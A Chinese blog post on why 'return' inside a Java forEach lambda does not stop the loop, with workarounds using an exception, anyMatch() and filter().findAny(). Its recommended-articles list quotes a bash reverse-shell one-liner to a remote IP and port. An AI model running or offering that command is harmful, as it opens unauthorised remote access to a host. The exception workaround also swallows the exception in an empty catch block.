Java Lambda表达式forEach无法跳出循环的解决思路
Java Lambda表达式forEach无法跳出循环的解决思路
如果你使用过forEach方法来遍历集合,你会发现在lambda表达式中的return并不会终止循环,这是由于lambda的底层实现导致的,看下面的例子:
public static void main(String[] args) {
List<String> list = Lists.newArrayList();
list.add("a");
list.add("b");
list.add("c");
list.forEach(s -> {
System.out.println("s = " + s);
if (s.equals("b")) {
return;
}
});
}
//返回结果:
//s = a
//s = b
//s = c
可以看到在forEach方法中即是采用了return,循环却仍在继续,那有什么办法能跳出循环呢?
可以通过抛异常的方法:
public static void main(String[] args) {
List<String> list = Lists.newArrayList();
list.add("a");
list.add("b");
list.add("c");
try {
list.forEach(s -> {
System.out.println("s = " + s);
if (s.equals("b")) {
throw new RuntimeException();
}
});
}catch (Exception e){}
}
//返回结果:
//s = a
//s = b
但仔细想想,这样也太挫了,其实可以换一种思路,跳出的前提肯定是满足了某一条件的,所以可以使用anyMatch()方法:
anyMatch()里接收一个返回值为boolean类型的表达式,只要返回true就会终止循环,这样可以将业务逻辑写在返回判断结果前。
public static void main(String[] args) {
List<String> list = Lists.newArrayList();
list.add("a");
list.add("b");
list.add("c");
list.stream().anyMatch(s -> {
System.out.println("do something");
System.out.println("s=" + s);
return s.equals("b");
});
}
// do something
// s=a
// do something
// s=b
同理,采用类似的思路可以使用filter()方法,思路是一样的,其中findAny表示只要找到满足的条件时停止。
public static void main(String[] args) {
List<String> list = Lists.newArrayList();
list.add("a");
list.add("b");
list.add("c");
list.stream().filter(s -> {
System.out.println("s=" + s);
return s.equals("b");
}).findAny();
}
//返回结果:
//s = a
//s = b
Java Lambda表达式forEach无法跳出循环的解决思路的更多相关文章
- Java Lambda表达式初探
Java Lambda表达式初探 前言 本文受启发于Trisha Gee在JavaOne 2016的主题演讲Refactoring to Java 8. Java 8已经发行两年多,但很多人仍然在使用 ...
- Java Lambda表达式入门[转]
原文链接: Start Using Java Lambda Expressions http://blog.csdn.net/renfufei/article/details/24600507 下载示 ...
- Java Lambda表达式教程与示例
Lambda表达式是Java 8中引入的一个新特性.一个lambda表达式是一个匿名函数,而且这个函数没有名称且不属于任何类.lambda表达式的概念最初是在LISP编程语言中引入的. Java La ...
- 「Flink」使用Java lambda表达式实现Flink WordCount
本篇我们将使用Java语言来实现Flink的单词统计. 代码开发 环境准备 导入Flink 1.9 pom依赖 <dependencies> <dependency> < ...
- Java Lambda表达式入门
Java Lambda表达式入门 http://blog.csdn.net/renfufei/article/details/24600507 Java 8十个lambda表达式案例 http://w ...
- Java Lambda 表达式你会用吗?
先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员.我有什么:Java技能,面试经验指导,简历优化,职场规划指导,技能提升方法,讲不完的职场故事,个人成长 ...
- java lambda表达式学习笔记
lambda是函数式编程(FP,functional program),在java8中引入,而C#很早之前就有了.在java中lambda表达式是'->',在C#中是‘=>’. 杜甫说:射 ...
- 《Java基础知识》Java Lambda表达式
接触Lambda表达式的时候,第一感觉就是,这个是啥?我居然看不懂,于是开始寻找资料,必须弄懂它. 先来看一个案例: @FunctionalInterface public interface MyL ...
- Java lambda 表达式常用示例
实体类 package com.lkb.java_lambda.dto; import lombok.Data; /** * @program: java_lambda * @description: ...
随机推荐
- Linux htop 使用
引言 一般大家查看进程相关信息常用的命令是 top,之前接触并使用 htop,觉得比较好用,它算是 top 的增强版,这里重新记录下. htop 简介 NAME htop - interactive ...
- 09、MySQL—列属性
列属性又称之为字段属性,在mysql中一共有6个属性:null,默认值,列描述,主键,唯一键和自动增长 1.Null属性 NULL属性:代表字段为空 如果对应的值为YES表示该字段可以为NULL 注意 ...
- 前端从零开始学习Graphql
学习本姿势需要电脑装有node,vue-cli相关环境,以及要有node,express,koa,vue相关基础 本文相关demo的github地址: node服务:https://github.co ...
- JAVA基础-基础类型
学习JAVA的同学都知道,数据类型是基础中的基础,而JAVA本身是强类型语言,他对变量的类型有这魔一般的执著,所以学好JAVA的重心就是要学好数据类型.既然有强类型语言,就会有弱类型语言如PHP.Ja ...
- EnjoyingSoft之Mule ESB开发教程第二篇:Mule ESB基本概念
目录 1. 使用Anypoint Studio开发 2. Mule ESB Application Structure - Mule ESB应用程序结构 3. Mule ESB Application ...
- GPS常识-A版(详)
第一章 绪论 1.简述GPS系统的特点有哪些? GPS在测绘工程中应用的优点 P13 ●定位精度高 应用实践证明,相对静态定位1小时以上观测解,其平面位置:在300-1500m范围内,绝对误差小于1m ...
- 20131227-backgroundPosition
background-position 用法详细介绍 语法: background-position : length || length background-position : position ...
- python3.5学习笔记(说明)
本内容是自己在学习python过程中总结的知识点,只用于学习和交流,请勿用作商业用途,部分内容来自网络,如有侵权,联系删除.
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- SQL Server 设置默认数据库
STEP 1 调用系统函数 查看SQL Server的当前用户名 SELECT SUSER_NAME(); NOTE : 系统函数的调用跟sql语句执行一样 Paste_Image.png 运行结果 ...